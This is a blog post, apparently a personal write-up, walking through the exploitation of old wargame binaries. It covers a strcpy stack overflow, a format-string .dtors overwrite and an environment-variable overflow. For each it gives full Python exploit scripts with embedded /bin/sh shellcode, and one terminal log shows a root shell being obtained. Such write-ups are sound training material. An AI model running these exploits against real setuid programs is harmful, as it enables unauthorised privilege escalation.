Wednesday, November 28, 2012

Some Random Binaries [0x01]

During my free time I worked with some old binaries from here. All the binaries are 32-bit executable, stripped and had no modern day protection. I used a OS running 2.6.32 kernel with ASLR disabled.

Stage2 [Buffer Overflow]
stage2 binary copies argv[1] into [ebp-0x64] using strcpy. 108 bytes will overwrite saved EIP. We overwrite it with the address of shellcode and gain control of execution.
   0x804842d: lea    eax,[ebp-0x64]
   0x8048430: push   eax
   0x8048431: call   0x8048330 <strcpy@plt>
Here is the exploit:
#!/usr/bin/env python
# stage2.py

import os
import struct

#  msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'

shellcode = ("\xba\xc2\xdd\xe1\xd7\xda\xd9\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0b\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x37\xb7" +
             "\xea\x8f\x2e\x1a\x8b\x47\x7d\xf8\xda\x7f\x15\xd1\xaf\x17" +
             "\xe5\x45\x7f\x8a\x8c\xfb\xf6\xa9\x1c\xec\x01\x2e\xa0\xec" +
             "\x3e\x4c\xc9\x82\x6f\xe3\x61\x5b\x27\x50\xf8\xba\x0a\xd6" )

vul = "./stage2"
env = {"":shellcode}
retaddr = 0xc0000000 - 0x4 - len(vul) - len(shellcode) - 0x2
arg = "A"*104 + struct.pack("<I",retaddr)

os.execve(vul,[vul,arg],env)
Stage3 [Format string - dtors overwrite]
stage3 binary passes argv[1] string directly to printf() resulting in format string vulnerability.
   0x8048364: push   ebp
   0x8048365: mov    ebp,esp
   0x8048367: sub    esp,0x8
   0x804836a: mov    eax,DWORD PTR [ebp+0x8]
   0x804836d: mov    DWORD PTR [esp],eax
   0x8048370: call   0x8048288 <printf@plt> 
After finding the offset at which format string in located in stack, I choose to overwrite the dtors with the address of shellcode. Here is the exploit.
#!/usr/bin/env python
# stage3.py

import os
import struct

#  msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'

shellcode = ("\xba\xc2\xdd\xe1\xd7\xda\xd9\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0b\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x37\xb7" +
             "\xea\x8f\x2e\x1a\x8b\x47\x7d\xf8\xda\x7f\x15\xd1\xaf\x17" +
             "\xe5\x45\x7f\x8a\x8c\xfb\xf6\xa9\x1c\xec\x01\x2e\xa0\xec" +
             "\x3e\x4c\xc9\x82\x6f\xe3\x61\x5b\x27\x50\xf8\xba\x0a\xd6" )

vuln = "./stage3"
addr = 0xc0000000 - 0x4 -len(vuln) - len(shellcode) - 0x2 #0xABCD
#  objdump -s -j .dtors stage3
dtor = 0x8049598

A = (addr >> 24) & 0xff
B = (addr >> 16) & 0xff
C = (addr >> 8)  & 0xff
D = (addr >> 0)  & 0xff

format = struct.pack("<I",dtor) + struct.pack("<I",dtor+1) + struct.pack("<I",dtor+2) + struct.pack("<I",dtor+3) + "XX%."+ str(D+0x0100-18) +"x%106$n%."+ str(C+0x0100-D) +"x%107$n%." + str(B+0x0100-C) +"x%108$n%."+ str(A+0x0100-B) +"x%109$n"

#format = "AAAABBBBCCCCDDDDXX" + "%.410x%106$n%.339x%107$n%.256x%108$n%.192x%109$n"

env = {"":shellcode}
os.execve(vuln,[vuln,format],env)

$ id              
uid=1001(user) gid=1001(user) groups=1001(user)
$ python stage3.py
��������XX000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b7ff10400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffffdd800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080483970# 
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Stage4 [Buffer Overflow]
stage4 binary has 4 functions with few calls to strncpy() and strncat(). It takes two inputs, argv[1] and HELLOWORLD environment variable. argv[1] string is NUL terminated after 10 bytes but we can overflow the buffer using HELLOWORLD environment variable. Below is the vulnerable function.
   0x8048455: mov    DWORD PTR [ebp-0xc],0x0   # [ebp-0xc] == i = 0
   0x804845c: mov    eax,DWORD PTR [ebp+0x8]   
   0x804845f: mov    DWORD PTR [esp],eax 
   0x8048462: call   0x80483d4    
   0x8048467: mov    eax,DWORD PTR [ebp+0x8]
   0x804846a: mov    DWORD PTR [esp],eax
   0x804846d: call   0x80483f6    
   0x8048472: mov    eax,DWORD PTR [ebp-0xc]   
   0x8048475: add    eax,DWORD PTR [ebp+0x8] # eax = *(i + arg_pointer) # while true:
   0x8048478: cmp    BYTE PTR [eax],0x0    
   0x804847b: jne    0x804847f    # if(eax != NUL)
   0x804847d: jmp    0x804849c
   0x804847f: lea    eax,[ebp-0x88]    
   0x8048485: mov    edx,eax     
   0x8048487: add    edx,DWORD PTR [ebp-0xc]   # edx = addr[ebp-0x88] + i
   0x804848a: mov    eax,DWORD PTR [ebp-0xc]   
   0x804848d: add    eax,DWORD PTR [ebp+0x8]   # eax = *(i + arg_pointer)
   0x8048490: movzx  eax,BYTE PTR [eax]   
   0x8048493: mov    BYTE PTR [edx],al   # *edx = eax
   0x8048495: lea    eax,[ebp-0xc]    
   0x8048498: inc    DWORD PTR [eax]    # i++
   0x804849a: jmp    0x8048472
The function copies the input byte by byte into the buffer [ebp-0x88] using a while loop till NUL byte. A counter which is used as array index is located at [ebp-0xc]. When we overflow the buffer, we have to take care how we overwrite this variable. 125th byte overwrites this counter. Values lesser than the value already present in [ebp-0xc] will cause the program to go into infinite loop. I overwrote the counter with 0x7f which will cause the while loop to skip the next 3 bytes, we are actually jumping over this memory area. This is how the stack will look like after overflow
0xffd730a8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffd730b8: 0x41414141 0x00000090 0x41414141 0x41414141
0xffd730c8: 0x41414141 0x41414141 0xffd734e8 0x00000000
Notice that the buffer is filled with A's skipping the counter variable. Here is the final exploit:
#!/usr/bin/env python
# stage4.py

import os
import struct

shellcode = ( "\xdb\xc3\xd9\x74\x24\xf4\xb8\xf1\x42\x8b\x05\x5b\x33\xc9" +
              "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xc3\x04\xe2\x04\x28" +
              "\x80\x5d\x7f\xff\xf0\x35\x52\x63\x74\x22\xc4\x4c\xf5\xc5" +
              "\x14\xfb\xd6\x77\x7d\x95\xa1\x9b\x2f\x81\xba\x5b\xcf\x51" +
              "\x94\x39\xa6\x3f\xc5\xce\x50\xc0\x4e\x62\x29\x21\xbd\x04" )

vuln = "./stage4"
addr = 0xc0000000 - 0x4 - len(vuln) - len(shellcode) - 0x2
payload = "A"*124 + struct.pack("B",0x7f) + "PAD" + "A"*12 + struct.pack("<I",addr)
env = {"":shellcode,"HELLOWORLD":payload}
arg = "JUNK"

os.execve(vuln,[vuln,arg],env)
stage5 is very much similar to stage2.

No comments :

Post a Comment